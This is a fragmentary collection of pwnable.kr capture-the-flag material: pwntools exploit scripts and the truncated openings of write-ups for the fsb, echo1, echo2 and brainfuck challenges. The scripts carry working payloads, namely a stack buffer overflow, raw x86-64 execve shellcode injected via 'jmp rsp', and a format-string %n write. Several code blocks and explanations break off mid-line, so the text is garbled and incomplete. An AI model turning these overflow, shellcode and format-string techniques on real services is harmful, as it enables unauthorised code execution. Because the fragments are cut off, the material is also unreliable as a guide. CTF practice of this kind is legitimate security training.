spnow

from pwn import *
sh = remote('pwnable.kr', 9004)
sh.recv(10000)
sh.sendline('2')
sh.recv(10000)
for _ in range(3):
        sh.sendline('1')
        sh.recv(10000)
for _ in range(4):

spnow

Pwnable.kr fsb writeup

ihciah@gmail.com

There are two ways to solve this problem. One is to pass the validation, and the other is to jump to execve. Since the first one is too time consuming, here I use the second one.

In function main, there is a alloca with random parameter, which will disturb the stack. So if we want to get information about the stack, we must leak it first.

In function fsb, there is a printf bug, and we can use %1$n to write any address. So we can just write an address, and use $ to get a reference, and we can write that address! However, all input is saved at .bss.

So we can consider another way. We can notice that the ebp is point to an old ebp, and we can control it.

spnow

Pwnable.kr echo2 writeup

ihciah@gmail.com

FSB and UAF is used in this simple problem.

Let's have a look at it.

int __cdecl main(int argc, const char **argv, const char **envp)
{

spnow

from pwn import *
sh = remote('pwnable.kr', 9000)
sh.sendline('a'*52+'\xbe\xba\xfe\xca')
sh.interactive()

spnow

from pwn import *

proc = remote("pwnable.kr", 9010) 
proc.sendline(asm("jmp rsp", arch="amd64", os="linux"))
proc.sendline("1")
proc.sendline("a"*40+p64(0x6020a0)+"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")
proc.interactive()

spnow

Pwnable.kr echo1 writeup

ihciah@gmail.com

At first glance, I thought there are 3 ways to exploit this problem, since it gives me 3 choices: BOF, FSB, UAF, however, the last two are not available.

In echo1, it calls get_input to input 128 input, but the buffer equals to bp-20h, so it can only save data with max length of 32.

Above the return address is the old rbp, so we can write 32 + 8 trash and an address to jump to to overflow it.

After searching with jmpcall si in peda, we found no result.

spnow

import subprocess
import socket
import sys
N = 0
C = 0
left, right, mid = 0, 0, 0

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("0.0.0.0", 9007))

spnow

Pwnable.kr brainfuck writeup

ihciah@gmail.com

Load bf with IDA:

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax@4

spnow

from pwn import *
sh = ssh(host='pwnable.kr', user='fsb', password='guest', port=2222)
proc = sh.process('/home/fsb/fsb')
proc.recv(1024)
proc.sendline('1')
proc.recvuntil('\n')
proc.sendline('1')
proc.recvuntil('\n')
proc.sendline('%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%10x%134520720c%n')

spnow

from pwn import *
sh = ssh(host='pwnable.kr', user='fd', password='guest', port=2222)
proc = sh.process(['/home/fd/fd', '4660'])
proc.sendline('LETMEWIN')
proc.recv(1024)